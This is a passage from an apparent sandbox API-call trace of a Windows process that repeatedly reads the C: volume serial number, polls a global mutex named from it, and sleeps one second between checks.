(hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0233.699] CloseHandle (hObject=0x1a0) returned 1 [0233.699] GetProcessHeap () returned 0x6a0000 [0233.699] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0233.699] GetProcessHeap () returned 0x6a0000 [0233.699] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0233.699] Sleep (dwMilliseconds=0x3e8) [0234.712] GetProcessHeap () returned 0x6a0000 [0234.712] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db1d8 [0234.712] GetProcessHeap () returned 0x6a0000 [0234.712] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6daee0 [0234.712] GetProcessHeap () returned 0x6a0000 [0234.712] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db228 [0234.712] GetProcessHeap () returned 0x6a0000 [0234.712] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6d4640 [0234.712] GetProcessHeap () returned 0x6a0000 [0234.712] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4640 | out: hHeap=0x6a0000) returned 1 [0234.712] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6daee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0234.712] GetProcessHeap () returned 0x6a0000 [0234.712] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db228 | out: hHeap=0x6a0000) returned 1 [0234.712] GetProcessHeap () returned 0x6a0000 [0234.712] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0234.712] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0234.713] GetProcessHeap () returned 0x6a0000 [0234.713] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0234.713] GetProcessHeap () returned 0x6a0000 [0234.713] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0234.713] GetProcessHeap () returned 0x6a0000 [0234.713] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0234.713] GetProcessHeap () returned 0x6a0000 [0234.713] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0234.713] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0234.713] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0234.713] CloseHandle (hObject=0x1a0) returned 1 [0234.713] GetProcessHeap () returned 0x6a0000 [0234.713] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0234.713] GetProcessHeap () returned 0x6a0000 [0234.713] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0234.713] Sleep (dwMilliseconds=0x3e8) [0235.754] GetProcessHeap () returned 0x6a0000 [0235.754] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6daee0 [0235.754] GetProcessHeap () returned 0x6a0000 [0235.754] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db1d8 [0235.754] GetProcessHeap () returned 0x6a0000 [0235.754] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db228 [0235.754] GetProcessHeap () returned 0x6a0000 [0235.754] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6d4640 [0235.754] GetProcessHeap () returned 0x6a0000 [0235.754] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4640 | out: hHeap=0x6a0000) returned 1 [0235.754] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db1d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0235.754] GetProcessHeap () returned 0x6a0000 [0235.754] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db228 | out: hHeap=0x6a0000) returned 1 [0235.754] GetProcessHeap () returned 0x6a0000 [0235.754] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0235.754] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0235.754] GetProcessHeap () returned 0x6a0000 [0235.754] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0235.754] GetProcessHeap () returned 0x6a0000 [0235.754] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0235.754] GetProcessHeap () returned 0x6a0000 [0235.755] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0235.755] GetProcessHeap () returned 0x6a0000 [0235.755] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0235.755] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0235.755] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0235.755] CloseHandle (hObject=0x1a0) returned 1 [0235.755] GetProcessHeap () returned 0x6a0000 [0235.755] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0235.755] GetProcessHeap () returned 0x6a0000 [0235.755] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0235.755] Sleep (dwMilliseconds=0x3e8) [0236.801] GetProcessHeap () returned 0x6a0000 [0236.802] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db1d8 [0236.802] GetProcessHeap () returned 0x6a0000 [0236.802] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6daee0 [0236.802] GetProcessHeap () returned 0x6a0000 [0236.802] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db228 [0236.802] GetProcessHeap () returned 0x6a0000 [0236.802] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6d4640 [0236.802] GetProcessHeap () returned 0x6a0000 [0236.802] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4640 | out: hHeap=0x6a0000) returned 1 [0236.802] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6daee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0236.802] GetProcessHeap () returned 0x6a0000 [0236.802] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db228 | out: hHeap=0x6a0000) returned 1 [0236.802] GetProcessHeap () returned 0x6a0000 [0236.802] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0236.802] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0236.803] GetProcessHeap () returned 0x6a0000 [0236.803] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0236.803] GetProcessHeap () returned 0x6a0000 [0236.803] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0236.803] GetProcessHeap () returned 0x6a0000 [0236.803] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0236.803] GetProcessHeap () returned 0x6a0000 [0236.803] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0236.803] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0236.803] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0236.803] CloseHandle (hObject=0x1a0) returned 1 [0236.803] GetProcessHeap () returned 0x6a0000 [0236.803] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0236.803] GetProcessHeap () returned 0x6a0000 [0236.803] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0236.803] Sleep (dwMilliseconds=0x3e8) [0237.831] GetProcessHeap () returned 0x6a0000 [0237.831] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6daee0 [0237.831] GetProcessHeap () returned 0x6a0000 [0237.831] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db1d8 [0237.831] GetProcessHeap () returned 0x6a0000 [0237.831] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db228 [0237.832] GetProcessHeap () returned 0x6a0000 [0237.832] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6d4640 [0237.832] GetProcessHeap () returned 0x6a0000 [0237.832] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4640 | out: hHeap=0x6a0000) returned 1 [0237.832] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db1d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0237.832] GetProcessHeap () returned 0x6a0000 [0237.832] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db228 | out: hHeap=0x6a0000) returned 1 [0237.832] GetProcessHeap () returned 0x6a0000 [0237.832] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0237.832] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0237.833] GetProcessHeap () returned 0x6a0000 [0237.833] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0237.833] GetProcessHeap () returned 0x6a0000 [0237.833] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0237.833] GetProcessHeap () returned 0x6a0000 [0237.833] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0237.833] GetProcessHeap () returned 0x6a0000 [0237.833] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0237.833] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0237.833] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0237.833] CloseHandle (hObject=0x1a0) returned 1 [0237.833] GetProcessHeap () returned 0x6a0000 [0237.833] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0237.833] GetProcessHeap () returned 0x6a0000 [0237.833] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0237.833] Sleep (dwMilliseconds=0x3e8) [0238.845] GetProcessHeap () returned 0x6a0000 [0238.845] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db1d8 [0238.845] GetProcessHeap () returned 0x6a0000 [0238.845] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6daee0 [0238.845] GetProcessHeap () returned 0x6a0000 [0238.845] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db228 [0238.845] GetProcessHeap () returned 0x6a0000 [0238.845] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6d4640 [0238.845] GetProcessHeap () returned 0x6a0000 [0238.846] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4640 | out: hHeap=0x6a0000) returned 1 [0238.846] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6daee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0238.846] GetProcessHeap () returned 0x6a0000 [0238.846] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db228 | out: hHeap=0x6a0000) returned 1 [0238.846] GetProcessHeap () returned 0x6a0000 [0238.846] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0238.846] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0238.846] GetProcessHeap () returned 0x6a0000 [0238.846] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0238.846] GetProcessHeap () returned 0x6a0000 [0238.846] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0238.846] GetProcessHeap () returned 0x6a0000 [0238.846] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0238.846] GetProcessHeap () returned 0x6a0000 [0238.846] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0238.846] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0238.846] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0238.846] CloseHandle (hObject=0x1a0) returned 1 [0238.846] GetProcessHeap () returned 0x6a0000 [0238.847] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0238.847] GetProcessHeap () returned 0x6a0000 [0238.847] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0238.847] Sleep (dwMilliseconds=0x3e8) [0239.876] GetProcessHeap () returned 0x6a0000 [0239.876] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6daee0 [0239.876] GetProcessHeap () returned 0x6a0000 [0239.876] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db1d8 [0239.876] GetProcessHeap () returned 0x6a0000 [0239.876] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db228 [0239.876] GetProcessHeap () returned 0x6a0000 [0239.876] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6d4640 [0239.876] GetProcessHeap () returned 0x6a0000 [0239.876] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4640 | out: hHeap=0x6a0000) returned 1 [0239.877] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db1d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0239.877] GetProcessHeap () returned 0x6a0000 [0239.877] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db228 | out: hHeap=0x6a0000) returned 1 [0239.877] GetProcessHeap () returned 0x6a0000 [0239.877] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0239.877] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0239.877] GetProcessHeap () returned 0x6a0000 [0239.877] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0239.877] GetProcessHeap () returned 0x6a0000 [0239.877] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0239.877] GetProcessHeap () returned 0x6a0000 [0239.877] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0239.877] GetProcessHeap () returned 0x6a0000 [0239.877] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0239.877] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0239.878] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0239.878] CloseHandle (hObject=0x1a0) returned 1 [0239.878] GetProcessHeap () returned 0x6a0000 [0239.878] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0239.878] GetProcessHeap () returned 0x6a0000 [0239.878] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0239.878] Sleep (dwMilliseconds=0x3e8) [0240.976] GetProcessHeap () returned 0x6a0000 [0240.976] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db1d8 [0240.976] GetProcessHeap () returned 0x6a0000 [0240.976] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6daee0 [0240.976] GetProcessHeap () returned 0x6a0000 [0240.976] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db228 [0240.976] GetProcessHeap () returned 0x6a0000 [0240.976] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6d4640 [0240.976] GetProcessHeap () returned 0x6a0000 [0240.976] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4640 | out: hHeap=0x6a0000) returned 1 [0240.976] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6daee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0240.976] GetProcessHeap () returned 0x6a0000 [0240.977] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db228 | out: hHeap=0x6a0000) returned 1 [0240.977] GetProcessHeap () returned 0x6a0000 [0240.977] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0240.977] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0240.977] GetProcessHeap () returned 0x6a0000 [0240.977] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0240.977] GetProcessHeap () returned 0x6a0000 [0240.977] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0240.977] GetProcessHeap () returned 0x6a0000 [0240.977] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0240.978] GetProcessHeap () returned 0x6a0000 [0240.978] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0240.978] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0240.978] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0240.978] CloseHandle (hObject=0x1a0) returned 1 [0240.978] GetProcessHeap () returned 0x6a0000 [0240.978] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0240.978] GetProcessHeap () returned 0x6a0000 [0240.978] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0240.978] Sleep (dwMilliseconds=0x3e8) [0242.205] GetProcessHeap () returned 0x6a0000 [0242.205] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6daee0 [0242.205] GetProcessHeap () returned 0x6a0000 [0242.205] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db1d8 [0242.205] GetProcessHeap () returned 0x6a0000 [0242.206] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db228 [0242.206] GetProcessHeap () returned 0x6a0000 [0242.206] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6d4640 [0242.206] GetProcessHeap () returned 0x6a0000 [0242.206] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4640 | out: hHeap=0x6a0000) returned 1 [0242.206] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db1d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0242.206] GetProcessHeap () returned 0x6a0000 [0242.206] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db228 | out: hHeap=0x6a0000) returned 1 [0242.206] GetProcessHeap () returned 0x6a0000 [0242.206] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0242.206] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0242.206] GetProcessHeap () returned 0x6a0000 [0242.206] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0242.207] GetProcessHeap () returned 0x6a0000 [0242.207] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0242.207] GetProcessHeap () returned 0x6a0000 [0242.207] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0242.207] GetProcessHeap () returned 0x6a0000 [0242.207] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0242.207] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0242.207] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0242.207] CloseHandle (hObject=0x1a0) returned 1 [0242.207] GetProcessHeap () returned 0x6a0000 [0242.207] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0242.207] GetProcessHeap () returned 0x6a0000 [0242.207] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0242.207] Sleep (dwMilliseconds=0x3e8) [0243.531] GetProcessHeap () returned 0x6a0000 [0243.531] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db1d8 [0243.531] GetProcessHeap () returned 0x6a0000 [0243.531] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6daee0 [0243.531] GetProcessHeap () returned 0x6a0000 [0243.531] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db228 [0243.531] GetProcessHeap () returned 0x6a0000 [0243.531] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6d4640 [0243.532] GetProcessHeap () returned 0x6a0000 [0243.532] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4640 | out: hHeap=0x6a0000) returned 1 [0243.532] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6daee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0243.532] GetProcessHeap () returned 0x6a0000 [0243.532] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db228 | out: hHeap=0x6a0000) returned 1 [0243.532] GetProcessHeap () returned 0x6a0000 [0243.532] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0243.532] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0243.532] GetProcessHeap () returned 0x6a0000 [0243.533] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0243.533] GetProcessHeap () returned 0x6a0000 [0243.533] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0243.533] GetProcessHeap () returned 0x6a0000 [0243.533] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0243.533] GetProcessHeap () returned 0x6a0000 [0243.533] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0243.533] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0243.533] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0243.533] CloseHandle (hObject=0x1a0) returned 1 [0243.533] GetProcessHeap () returned 0x6a0000 [0243.533] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0243.533] GetProcessHeap () returned 0x6a0000 [0243.533] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: 